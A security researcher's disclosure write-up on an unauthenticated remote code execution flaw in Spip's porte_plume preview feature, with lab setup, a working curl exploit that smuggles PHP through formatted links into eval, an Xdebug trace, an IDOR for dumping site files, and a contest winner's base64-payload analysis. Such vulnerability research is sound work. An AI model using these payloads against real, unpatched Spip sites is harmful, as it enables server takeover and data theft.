Spip Preauth RCE 2024: Part 1, The Feather

Hi dear Sir, Madam. Please be informed that this is the third article dedicated to Spip 0-day research, if you haven’t read the first ones, I’d recommend reading them first!
嗨,亲爱的先生,女士。请注意,这是第三篇专门介绍 Spip 0 天研究的文章,如果您还没有阅读第一篇,我建议您先阅读它们!

This article will cover the issue and exploit for an Unauthenticated Remote Code Execution found on Spip, it has been patched in the releases for 4-3-0-alpha2, 4-2-13, and 4.1.16.
本文将介绍在 Spip 上发现的未经身份验证的远程代码执行的问题和漏洞利用,该代码已在 4-3-0-alpha2、4-2-13 和 4.1.16 的版本中进行了修补。

Spip Preauth RCE 2024: Part 1, The Feather

What’s the setup again? 又是什么设置?

This issue was tested on the latest back then: 4.2.9 Released the 8th of February 2024, its SHA1 hash is 1987a75d18a57690e288be59e1c4a114cac51d84.
这个问题在当时最新的测试过:4.2.9 于 2024 年 2 月 8 日发布,其 SHA1 哈希为 1987a75d18a57690e288be59e1c4a114cac51d84

Oh yeah, the issue came from the porte_plume plugin, so if you update spip without updating the plugins as well, you might still be exposed! 👏
哦,是的,问题来自porte_plume插件,所以如果你在不更新插件的情况下更新 stip,你可能仍然会暴露出来!👏

mise install [email protected]       # Recent install, should work on latest as well
pecl install -f libsodium    # Dependencies for Spip crypto stuff
echo extension=sodium.so | tee -a $(php --ini | grep -ioP "/.*/php.ini") # Add sodium.so to our php.ini config file
php -S 0.0.0.0:8000          # Simple webserver
http://0.0.0.0:8000/ecrire/  # The url to visit in order to setup the site

From there, pick a sqlite backend to keep the setup minimalist, create an admin account, and voilà, you’re done! It’s empty as hell, yet enough to be exploited!
从那里,选择一个 sqlite 后端以保持设置最小化,创建一个管理员帐户,瞧,你就完成了!它空荡荡的,但足以被利用!

Spip Preauth RCE 2024: Part 1, The Feather

How was it caught? 它是怎么被抓到的?

Two years ago, I built and deployed a simple cron task that would pull spip core and plugin changes daily at 9pm, split the diffs in small chunks of lines, render them, and push it to one of my private discord servers. It yielded a few cute results, but nothing too scary for a few months. I was already reading as much code as I could in the actual project, but in the meantime, having these new changes was helpful to know what were the current moving parts!
两年前,我构建并部署了一个简单的 cron 任务,该任务会在每天晚上 9 点拉取 spip 核心和插件更改,将差异分成一小段行,渲染它们,并将其推送到我的一个私人 discord 服务器。它产生了一些可爱的结果,但在几个月内没有什么太可怕的。在实际项目中,我已经尽可能多地阅读了代码,但与此同时,有了这些新的变化有助于了解当前的活动部件是什么!

And one day, this gem came up!
有一天,这颗宝石出现了!

Spip Preauth RCE 2024: Part 1, The Feather

For interested readers, a dirty push-my-diffs PoC has been released and shown during a livestream! 😇
对于感兴趣的读者,一个肮脏的 push-my-diffs PoC 已经发布并在直播中展示!😇

Now, let’s head-out to the code part!
现在,让我们进入代码部分!

If you’re a French reader, you’ll quickly notice THE line.
如果你是法国读者,你很快就会注意到这句话。

If there is php that comes from a model in here, it must be eval’d as it’s not a regular page.
如果这里有来自模型的 php,则必须对其进行求值,因为它不是常规页面。

– Someone, probably a monday morning
– 有人,可能是星期一早上

And the code does just that. If a flag states that modeles must be protected, then some sanitization takes place, then the page’s content ends up in an eval statement!
而代码就是这样做的。如果一个标志声明必须保护模型,那么会进行一些清理,那么页面的内容最终会出现在 eval 语句中!

As I’ve been playing with Spip for a while now, I knew this piece of code lived in the porte_plume plugin, and was reachable without account!
由于我已经玩了一段时间的 Spip,所以我知道这段代码存在于 porte_plume 插件中,无需帐户即可访问!

So… Can we do it? Can we reach the mighty eval statement?
所以。。。我们能做到吗?我们能达到强大的评估声明吗?

Spip Preauth RCE 2024: Part 1, The Feather

Chaining “features” to reach eval
链接“功能”以达到 eval

One bug already known by quite a few researchers is the ability to abuse the previsualization feature to resolve document or images IDs to full document links. This is an IDOR in itself, has been reported, but was -afaik- deemed too painful to patch, or not prioritized.
许多研究人员已经知道的一个错误是能够滥用预可视化功能将文档或图像 ID 解析为完整的文档链接。这本身就是一个 IDOR,已经报道过,但被 -afaik- 认为修补太痛苦,或者没有被优先考虑。

Let’s upload one image on our backend, and see how the link resolution feature behaves.
让我们在后端上传一张图片,看看链接分辨率功能是如何表现的。

Spip Preauth RCE 2024: Part 1, The Feather

curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA<doc1>BB'

As stated, this allows us to resolve every document and images IDs to links. As files do not benefit extra protections nor ACL, once the full link (partial path and filename) is known, the file can be downloadded right away. We can basically abuse this feature to dump the whole site content. Banger!
如前所述,这使我们能够将每个文档和图像 ID 解析为链接。由于文件没有额外的保护或ACL的好处,一旦知道完整链接(部分路径和文件名),就可以立即下载文件。我们基本上可以滥用此功能来转储整个站点内容。爆竹!

But wait, there’s more! 但是等等,还有更多!

The code received on discord states that if some php code lends in there, it will be eval’d, so can we get our code in there?
在 discord 上收到的代码指出,如果一些 php 代码借入其中,它将被评估,那么我们可以在那里获得我们的代码吗?

Spip Preauth RCE 2024: Part 1, The Feather

Yes, no, maybe, it’s complicated… For now, the sanitization part catches us and surrounds our attempt with warnings. And breaks our payload. But the Spip templating engine is fairly complex and it’s definitely 100% spaghetti!
是的,不,也许,这很复杂……目前,消毒部分抓住了我们,并用警告包围了我们的尝试。并破坏了我们的有效载荷。但是 Spip 模板引擎相当复杂,绝对是 100% 的意大利面条!

No blame on the devs, it’s php, and will always be.
不要责怪开发人员,这是php,并且将永远是。

By grepping around, we can determine that links are handled in a specific way to be resolved, while reading the function’s code, one can find that url slugs, text formats, and more can be (ab)used.
通过四处寻找,我们可以确定链接是以特定的方式处理要解决的,在阅读函数的代码时,可以发现可以(滥用)使用 url slug、文本格式等。

Spip Preauth RCE 2024: Part 1, The Feather

More can be found on the slug system with extra greps and code reading:
可以在 slug 系统上找到更多内容,其中包含额外的 greps 和代码读取:

grep -riP '>->'
# ecrire/public/assembler.php:    // Si un lien a ete passe en parametre, ex: [<modele1>->url] ou [<modele1|title_du_lien{hreflang}->url]
# plugins-dist/textwheel/inc/lien.php:    # Penser au cas [<imgXX|right>->URL], qui exige typo('<a>...</a>')
# plugins-dist/textwheel/tests/data/typo/inline_link.txt:[<code>link avec de la typo !</code>->http://example.com]
# plugins-dist/textwheel/tests/data/typo/inline_link_title.txt:[link|title with <b>bold avec de la typo!</b>->http://example.com] and [another link|title with <b>bold avec de la typo!</b>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[link <textwheel1|inline>->http://example.com] and [another link <textwheel1|inline>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<code>link <textwheel1|inline></code>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<textwheel1|inline>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<textwheel1|inline> and text <textwheel1|inline>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link_title.txt:[link|title <textwheel1|inline>->http://example.com] and [another link|title <textwheel1|inline>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link_title.txt:[link|title with <b>bold <textwheel1|inline></b>->http://example.com] and [another link|title with <b>bold <textwheel1|inline></b>->/tests/]
# plugins-dist/textwheel/tests/data/base/inline_link.txt:[<code>link</code>->http://example.com]
# plugins-dist/textwheel/tests/data/base/inline_link_title.txt:[link|title with <b>bold</b>->http://example.com] and [another link|title with <b>bold</b>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[link <textwheel1|block>->http://example.com] and [another link <textwheel1|block>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<code>link <textwheel1|block></code>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<textwheel1|block>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<textwheel1|block> and text <textwheel1|block>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link_title.txt:[link|title <textwheel1|block>->http://example.com] and [another link|title <textwheel1|block>->/tests/]

The previsualisation system is the same (or very similar) for post and comments. One easy way to get intimate with it is to play on the article redaction page.
帖子和评论的预可视化系统相同(或非常相似)。亲密接触它的一种简单方法是在文章编辑页面上播放。

Spip Preauth RCE 2024: Part 1, The Feather

In here, we have the document uploader, possibility to insert documents by id, links, slugs, bold, italics, quoted, striked, code blocks, and more.
在这里,我们有文档上传器,可以通过 id、链接、slug、粗体、斜体、引用、删除线、代码块等插入文档。

Turns out reflecting URLs with complex formatting is broken when the right suite of filters is applied! By writing a dead-simple fuzzer to submit all kinds of urls and formats, and logging the content passed to the previously mentioned eval statement, things got lit!
事实证明,当应用正确的过滤器套件时,反映具有复杂格式的 URL 会被破坏!通过编写一个非常简单的模糊器来提交各种 url 和格式,并记录传递给前面提到的 eval 语句的内容,事情就亮了!

I won’t give every working payload here, but let’s analyze one
我不会在这里给出每个工作有效载荷,但让我们分析一个

[<img111111>->URL`<?php system("id");?>`]

This is a: 这是一个:

  • [foo->bar] # Link seen as foo, pointing on bar
    [foo->bar] # 链接被视为 foo,指向柱上
  • <img111111> # Resolve request to a non-existing image of id 111111
    <img111111> # 将请求解析为不存在的 ID 111111
  • text # Bold text text # 粗体文本
  • <?php system("id");?> # Php payload that executes the id command
    <?php system(“id”);?> # 执行 id 命令的 Php 有效负载

So we have a link, made from a non-existing document, for which the slug contains a bold php payload!
因此,我们有一个链接,由一个不存在的文档组成,其中 slug 包含一个粗体 php 有效载荷!

What’s the sploit? 什么是sploit?

Spip Preauth RCE 2024: Part 1, The Feather

curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA_[<img111111>->URL`<?php system("id");?>`]_BB'

We’re therefore abusing the unauth previsualization feature to reflect our terrific bb-text-like url that will keep the payload untouched due to the path formatting takes!
因此,我们滥用了 unauth 预可视化功能来反映我们出色的类似 bb-text 的 url,该 url 将由于路径格式化而保持有效载荷不变!

What’s the patch? 补丁是什么?

This led to two patches, one in the core, and one in the porte_plume plugin!
这导致了两个补丁,一个在核心中,一个在porte_plume插件中!

Side note here, I’ve had past disclosure that went… Not so well. This one was smooth, Spip Dev Team members were helpful and quick to react! 🌹
旁注在这里,我过去的披露是……不太好。这个很顺利,Spip Dev 团队成员乐于助人且反应迅速!🌹

BONUS: What’s truly happening? Tracing with X-debug!
奖励:到底发生了什么?使用 X-debug 进行跟踪!

pecl install xdebug
mkdir /tmp/traces/
cat >> $(php --ini | grep -ioP "/.*/php.ini") << EOF
zend_extension=xdebug.so
xdebug.mode = trace
xdebug.start_with_request = yes
xdebug.trace_format = 1  ; Use the computer-readable format
xdebug.output_dir = "/tmp/traces"
EOF
# Restart the php simple server
php -S 0.0.0.0:8000
# Then trigger the exploit
curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA<doc1>BB'
# Then inspect the trace
gunzip /tmp/traces/trace.2713103059.xt.gz
bat /tmp/traces/trace.2713103059.xt

Spip Preauth RCE 2024: Part 1, The Feather

The full trace can be found here: https://gist.github.com/laluka/609822f84ba07716c807be112b69e83a
完整的跟踪可以在此处找到:https://gist.github.com/laluka/609822f84ba07716c807be112b69e83a

By snipping ✀ some parts, or just grepping on our payload, we’ll be able to find the exact culprits!
通过剪断✀一些零件,或者只是在我们的有效载荷上搜索,我们将能够找到确切的罪魁祸首!

[...] Framework initialization, autoload, boilerplate, ...
5	43	0	0.010484	569784	serialize	0		/opt/spip-rampage-2024/sources/config/ecran_securite.php	412	1	['action' => 'porte_plume_previsu', 'data' => 'AA_[<img111111>->URL`<?php system("id");?>`]_BB']
[...] Assempling many assets
22	3094	0	0.147165	7099656	function_exists	0		/opt/spip-rampage-2024/sources/ecrire/public/assembler.php	559	1	'medias_modeles_styliser'
[...] Tons of SQL & data loading
14	5393	0	0.201983	7799240	pipeline	1		/opt/spip-rampage-2024/sources/plugins-dist/textwheel/inc/texte.php	914	2	'post_echappe_html_propre'	'<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'
15	5394	0	0.202012	7799240	strtolower	0		/opt/spip-rampage-2024/sources/ecrire/inc/utils.php	301	1	'post_echappe_html_propre'
15	5395	0	0.202030	7799320	function_exists	0		/opt/spip-rampage-2024/sources/ecrire/inc/utils.php	302	1	'execute_pipeline_post_echappe_html_propre'
15	5396	0	0.202047	7799352	execute_pipeline_post_echappe_html_propre	1		/opt/spip-rampage-2024/sources/ecrire/inc/utils.php	303	1	'<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'
14	5397	0	0.202078	7799992	pipeline	1		/opt/spip-rampage-2024/sources/plugins-dist/textwheel/inc/texte.php	922	2	'post_echappe_html_propre_args'	['args' => ['args' => [...], 'connect' => NULL, 'env' => [...]], 'data' => '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>']
[...] Entering the Clean-Up Pipeline
13	5401	0	0.202175	7798928	echappe_retour	1		/opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php	867	3	'<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'	'php29041280866b34eef8d1b72.80300957'	'traitements_previsu_php_modeles_eval'
[...] Below us URL attrs extraction with extraire_attribut
14	5404	0	0.202243	7799088	preg_match_all	0		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	316	4	',<(span|div)\\sclass=[\'"]base64php29041280866b34eef8d1b72.80300957[\'"]\\s(.*)>\\s*</\\1>,UmsS'	'<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'	NULL	2
14	5405	0	0.202281	7799936	extraire_attribut	1		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	321	3	'<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>'	'title'	???
15	5407	0	0.202320	7800160	preg_match	0		/opt/spip-rampage-2024/sources/ecrire/inc/filtres.php	1951	3	',(^.*?<(?:(?>\\s*)(?>[\\w:.-]+)(?>(?:=(?:"[^"]*"|\'[^\']*\'|[^\'"]\\S*))?))*?)(\\s+title(?:=\\s*("[^"]*"|\'[^\']*\'|[^\'"]\\S*))?)()((?:[\\s/][^>]*)?>.*),isS'	'<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>'	NULL
15	5408	0	0.202355	7800712	substr	0		/opt/spip-rampage-2024/sources/ecrire/inc/filtres.php	1955	3	'"PD9waHAgc3lzdGVtKCJpZCIpOz8+"'	1	-1
15	5410	0	0.202394	7800712	filtrer_entites	1		/opt/spip-rampage-2024/sources/ecrire/inc/filtres.php	1967	1	'PD9waHAgc3lzdGVtKCJpZCIpOz8+'
14	5412	0	0.202436	7799992	base64_decode	0		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	321	1	'PD9waHAgc3lzdGVtKCJpZCIpOz8+'
14	5413	0	0.202454	7799992	extraire_attribut	1		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	325	3	'<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>'	'lang'	???
14	5415	0	0.202498	7799992	extraire_attribut	1		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	325	3	'<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>'	'dir'	???
14	5417	0	0.202540	7799992	traitements_previsu_php_modeles_eval	1		/opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php	336	1	'<?php system("id");?>'
15	5418	0	0.202554	7799992	ob_start	0		/opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php	884	0
15	5419	0	0.202588	7817368	eval	1	'?><?php system("id");?>'	/opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php	886	0
16	5420	0	0.202603	7817368	system	0		/opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php(886) : eval()'d code	1	1	'id'

BONUS: Unauth RCE on Spip… So you broke root-me again?
奖励:Spip 上的 Unauth RCE …所以你又打破了我的根源?

Well, hum… 👉👈 No. 😭
嗯,哼……👉👈 不。😭

The issue has been introduced a year ago, and Root-Me is working on a rework! 🥳
这个问题是在一年前提出的,Root-Me正在进行返工!🥳

Therefore they did not spend time updating their Spip instance for over a year…
因此,他们没有花时间更新他们的 Spip 实例超过一年……

So, this time, a lack of updates definitely helped for security!
因此,这一次,缺乏更新肯定有助于安全性!

Feels like php-8.1.0-dev backdoor, right? 🙃
感觉像php-8.1.0-dev后门,对吧?🙃

But next article will cover Yet Another Unauth RCE that this time worked on Root-Me.org, so I hope you enjoyed this one, and will kindly wait for the next one! 💌
但下一篇文章将介绍这次 Root-Me.org 进行的另一个 Unauth RCE,所以我希望你喜欢这个,并会善意地等待下一个!💌

Have a nice Summer everyone! 🌻
祝大家夏天愉快!🌻

APPENDIX: Summer Spip Challenge!
附录:夏季间谍挑战!

As this article was soon to be disclosed, I thought making a chall out of it could be appreciated.
由于这篇文章很快就要公开了,我认为从中大谈特谈是值得赞赏的。

And it definitely did! 它确实做到了!

Spip Preauth RCE 2024: Part 1, The Feather

Here’s the TL;DR, then we’ll move to the player writeups! 🎉

  • 15+ folks contacted to assess ideas, find out if they were on the right track
  • 7 found the right sink (@Chocapikk_ first), but were struggling to bypass the _PROTEGE_PHP_MODELES check
  • 4 have proved to have working payloads “assuming this check is passed”
  • 3 Solved the challenge! 🔓

Winner Write-Up from @Vozec1 & @_Worty

The Porte Plume plugin code is fairly short, only a few hundred lines.
Porte Plume 插件代码相当短,只有几百行。

As a result, interesting functions were quickly identified.
因此,很快就确定了有趣的功能。

The ones that first caught our attention were the traitements_previsu and traitements_previsu_php_modeles_eval functions, since they themselves use the notoriously dangerous “eval” function.
首先引起我们注意的是 traitements_previsu 和 traitements_previsu_php_modeles_eval 函数,因为它们本身使用了臭名昭著的危险“eval”函数。

function traitements_previsu($texte, $nom_champ = '', $type_objet = '', $connect = null) {
	include_spip('public/interfaces'); // charger les traitements

	global $table_des_traitements;
	if (!strlen($nom_champ) || !isset($table_des_traitements[$nom_champ])) {
		$texte = propre($texte, $connect);
	} else {
		include_spip('base/abstract_sql');
		$table = table_objet($type_objet);
		$ps = $table_des_traitements[$nom_champ];
		if (is_array($ps)) {
			$ps = $ps[(strlen($table) && isset($ps[$table])) ? $table : 0];
		}
		if (!$ps) {
			$texte = propre($texte, $connect);
		} else {
			// [FIXME] Éviter une notice sur le eval suivant qui ne connait
			// pas la Pile ici. C'est pas tres joli...
			$Pile = [0 => []];
			// remplacer le placeholder %s par le texte fourni
			eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');
		}
	}

	// si il y a du PHP issu de modeles, il faut l'eval ici, car on aura pas de eval final contrairement aux pages SPIP
	if (defined('_PROTEGE_PHP_MODELES')) {
		$texte = echappe_retour($texte, 'php' . _PROTEGE_PHP_MODELES, 'traitements_previsu_php_modeles_eval');
	}

	// il faut toujours securiser le texte prévisualisé car il peut contenir n'importe quoi
	// et servir de support a une attaque xss ou vol de cookie admin
	// on ne peut donc se fier au statut de l'auteur connecté car le contenu ne vient pas
	// forcément de lui
	return safehtml($texte);
}

and :

function traitements_previsu_php_modeles_eval($php) {
	ob_start();
	try {
		$res = eval('?' . '>' . $php);
		$texte = ob_get_contents();
	} catch (\Throwable $e) {
		$texte = '<!-- Erreur -->';
	}
	ob_end_clean();
	return $texte;
}

As explained above, Porte Plume is grafted onto the various editing fields of the spip application. It’s the preview system that will call our two functions. As described in the comments, these functions are used to apply filters to user input. (Note that Spip will add its security filter on top of this).

First approaches to previewing:

The preview function, authenticated or non-authenticated, takes 3 parameters:

  • champ
  • objet
  • data

Depending on field and object, different filters are applied to data and the result is displayed in the following SPIP template:

#CACHE{0}
[(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
<div class="preview">
[(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)]
[<hr style='clear:both;' /><div class="notes">(#NOTES)</div>]
</div>

These filters are contained in the table: $table_des_traitements, the php code will then retrieve this filter and apply it:

$ps = $table_des_traitements[$nom_champ];
...
eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');

Here are the possible filters, from json_encode($table_of_treatments)’ output

{
    "BIO": ["safehtml(propre(%s, $connect, $Pile[0]))"],
    "NOM_SITE": {
        "auteurs": "entites_html(%s)",
        "forums": "liens_nofollow(safehtml(typo(interdit_html(%s), \"TYPO\", $connect, $Pile[0])))",
        "0": "typo(%s, \"TYPO\", $connect, $Pile[0])"
    },
    "NOM": {
        "auteurs": "safehtml(supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0])))",
        "0": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))"
    },
    "CHAPO": ["propre(%s, $connect, $Pile[0])"],
    "DATE": ["normaliser_date(%s)"],
    "DATE_REDAC": ["normaliser_date(%s)"],
    "DATE_MODIF": ["normaliser_date(%s)"],
    "DATE_NOUVEAUTES": ["normaliser_date(%s)"],
    "DESCRIPTIF": {
        "0": "propre(%s, $connect, $Pile[0])",
        "syndic_articles": "safehtml(%s)"
    },
    "INTRODUCTION": ["propre(%s, $connect, $Pile[0])"],
    "NOM_SITE_SPIP": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
    "AUTEUR": {
        "0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
        "forums": "liens_nofollow(safehtml(vider_url(%s)))"
    },
    "PS": ["propre(%s, $connect, $Pile[0])"],
    "SOURCE": {
        "0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
        "syndic_articles": "safehtml(%s)"
    },
    "SOUSTITRE": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
    "SURTITRE": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
    "TAGS": {
        "0": "%s",
        "syndic_articles": "safehtml(%s)"
    },
    "TEXTE": {
        "0": "propre(%s, $connect, $Pile[0])",
        "forums": "liens_nofollow(safehtml(propre(interdit_html(%s), $connect, $Pile[0])))"
    },
    "TITRE": {
        "0": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))",
        "forums": "liens_nofollow(safehtml(typo(interdit_html(%s), \"TYPO\", $connect, $Pile[0])))"
    },
    "TYPE": {
        "0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
        "mots": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))"
    },
    "DESCRIPTIF_SITE_SPIP": ["propre(%s, $connect, $Pile[0])"],
    "SLOGAN_SITE_SPIP": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
    "ENV": ["entites_html(%s,true)"],
    "*": {
        "0": false,
        "DATA": "safehtml(%s)"
    },
    "VALEUR": {
        "DATA": "safehtml(%s)"
    },
    "PARAMETRES_FORUM": ["spip_htmlspecialchars(%s)"],
    "NOTES": {
        "forums": "liens_nofollow(safehtml(propre(interdit_html(%s), $connect, $Pile[0])))"
    },
    "URL_SITE": {
        "forums": "safehtml(vider_url(%s))"
    },
    "EMAIL_AUTEUR": {
        "forums": "safehtml(vider_url(%s))"
    },
    "URL": {
        "syndic_articles": "safehtml(%s)"
    },
    "URL_SOURCE": {
        "syndic_articles": "safehtml(%s)"
    },
    "LESAUTEURS": {
        "syndic_articles": "safehtml(%s)"
    },
    "FICHIER": ["get_spip_doc(%s)"],
    "CREDITS": {
        "documents": "typo(%s, \"TYPO\", $connect, $Pile[0])"
    },
    "SLOGAN": {
        "plugins": "propre(%s, $connect, $Pile[0])"
    },
    "VMAX": {
        "plugins": "denormaliser_version(%s)"
    },
    "DESCRIPTION": {
        "paquets": "propre(%s, $connect, $Pile[0])"
    },
    "VERSION": {
        "paquets": "denormaliser_version(%s)"
    },
    "MAJ_VERSION": {
        "paquets": "denormaliser_version(%s)"
    }
}

Here’s the list of functions we can call with data as a parameter:

  • safehtml
  • propre
  • entites_html
  • liens_nofollow
  • interdit_html
  • supprimer_numero
  • typo
  • normaliser_date
  • spip_htmlspecialchars
  • vider_url
  • get_spip_doc
  • denormaliser_version

As an example, field=TAGS can be used to avoid applying an additional function to spip’s sanitizer:

"TAGS":{"0":"%s", ...}

Spip Preauth RCE 2024: Part 1, The Feather

Here, using field=TEXT calls the own function:

Spip Preauth RCE 2024: Part 1, The Feather

Unfortunately, none of these functions seems to be vulnerable. They’re all short, with no apparent sink for executing arbitrary code.

First SINK and partial exploitation path

Going down into the treatments_previsu function, we find this code in php:

...
if (defined('_PROTEGE_PHP_MODELES')) {
	$texte = echappe_retour($texte, 'php' . _PROTEGE_PHP_MODELES, 'traitements_previsu_php_modeles_eval');
}
...

This sink is very interesting, because if the global variable _PROTEGE_PHP_MODELES is defined, then a call to the function echappe_retour is made with our parameter $texte and the 2nd interesting function in the 3rd parameter.

As a reminder, here’s the code for the traitements_previsu_php_modeles_eval function:

function traitements_previsu_php_modeles_eval($php) {
	ob_start();
	try {
		$res = eval('?' . '>' . $php);
		$texte = ob_get_contents();
	} catch (\Throwable $e) {
		$texte = '<!-- Erreur -->';
	}
	ob_end_clean();
	return $texte;
}

It takes php code as a parameter and executes it in an eval.

Smells good 😀

Let’s analyze the code of within the echappe_retour function:

function echappe_retour($letexte, $source = '', $filtre = '') {
	if (strpos($letexte, (string) "base64$source")) {
		### spip_log(spip_htmlspecialchars($letexte));  ## pour les curieux
		$max_prof = 5;
		while (
			strpos($letexte, '<') !== false
			and
			preg_match_all(
				',<(span|div)\sclass=[\'"]base64' . $source . '[\'"]\s(.*)>\s*</\1>,UmsS',
				$letexte,
				$regs,
				PREG_SET_ORDER
			)
			and $max_prof--
		) {
			foreach ($regs as $reg) {
				$rempl = base64_decode(extraire_attribut($reg[0], 'title'));
				// recherche d'attributs supplementaires
				$at = [];
				foreach (['lang', 'dir'] as $attr) {
					if ($a = extraire_attribut($reg[0], $attr)) {
						$at[$attr] = $a;
					}
				}
				if ($at) {
					$rempl = '<' . $reg[1] . '>' . $rempl . '</' . $reg[1] . '>';
					foreach ($at as $attr => $a) {
						$rempl = inserer_attribut($rempl, $attr, $a);
					}
				}
				if ($filtre) {
					$rempl = $filtre($rempl);
				}
				$letexte = str_replace($reg[0], $rempl, $letexte);
			}
		}
	}
	return $letexte;
}

Our third argument is passed to the $filter variable, which is called in a condition with a refill parameter.
我们的第三个参数被传递给 $filter 变量,该变量在带有 refill 参数的条件下被调用。

Quickly, the function checks that our input contains a <span> or <div> tag with a class attribute equal to base64php + _PROTEGE_PHP_MODELES.
快速地,该函数检查我们的输入是否包含 <span> 或 <div> 标签,其属性等于 base64php + _PROTEGE_PHP_MODELES

Finally, it extracts the title attribute and decodes it in base64 before storing it in the $rempl variable.
最后,它提取 title 属性并在 base64 中对其进行解码,然后将其存储在 $rempl 变量中。

If we take the liberty of modifying the php code to set a value for _PROTEGE_PHP_MODELES, we can achieve code execution!
如果我们冒昧地修改php代码来为_PROTEGE_PHP_MODELES设置一个值,我们就可以实现代码执行!

Small lalu-note here: Congrats to @Chocapikk_ on this one, he came first with the following payload <div class="base64php" title="PD9waHAgZWNobyBzeXN0ZW0oJ2lkJyk7Pz4K"></div> which works assuming _PROTEGE_PHP_MODELES is empty! 🌻
小 lalu-note 在这里:恭喜@Chocapikk_这个,他首先获得了以下有效载荷 <div class=“base64php” title=“PD9waHAgZWNobyBzeXN0ZW0oJ2lkJyk7Pz4K”></div>,假设_PROTEGE_PHP_MODELES为空!🌻

I add the following code to the treatments_previsu function:
我将以下代码添加到 treatments_previsu 函数中:

define('_PROTEGE_PHP_MODELES', 'RCE_POC');

In order to execute the id command, by forging the following title:
为了执行id命令,通过伪造以下标题:

[~/Desktop]$ echo "<?php system('id')?>" | base64
PD9waHAgc3lzdGVtKCdpZCcpPz4K

Finally, here’s our payload:

<div class="base64phpRCE_POC" title="PD9waHAgc3lzdGVtKCdpZCcpPz4K" ></div>

Spip Preauth RCE 2024: Part 1, The Feather

Back to reality

We spent several hours trying to figure out how to define the global variable _PROTEGE_PHP_MODELES. We had an almost complete code execution, but we were missing this variable.

The only occurrence and definition of _PROTEGE_PHP_MODELES is in the protege_js_modeles function in the ecrire/inc/texte_mini.php file, but it seems impossible to reach the define function call because of the native spip filter.

So we had to move on and find another path to code execution.

Presentation of SPIP templates

Spip embeds templates called squelettes which are used to render php code. A markup language specific to SPIP is used to generate this code, and it is in these templates that injection resided a few months ago, resulting in command execution (cf: icalendar generation).

Templates can be called up using the data parameter, which is contained in the various plug-in codes as well as in /squelettes-dist/modeles.

An example would be to create foreach.html with the following content:

#PUCE #ENV{cle} => #ENV{valeur}<br />

Spip Preauth RCE 2024: Part 1, The Feather

Note that parameters are not taken into account since they are not in the rendering context

Finding and discovering templating tags

All SPIP templating tags are defined in the ecrire/public/tags.php file.
There are dozens of them, some of which seem very interesting, such as #EVAL:

  • #EVAL{code} produces eval('return code;')

Unfortunately, none of the current templates had this tag.

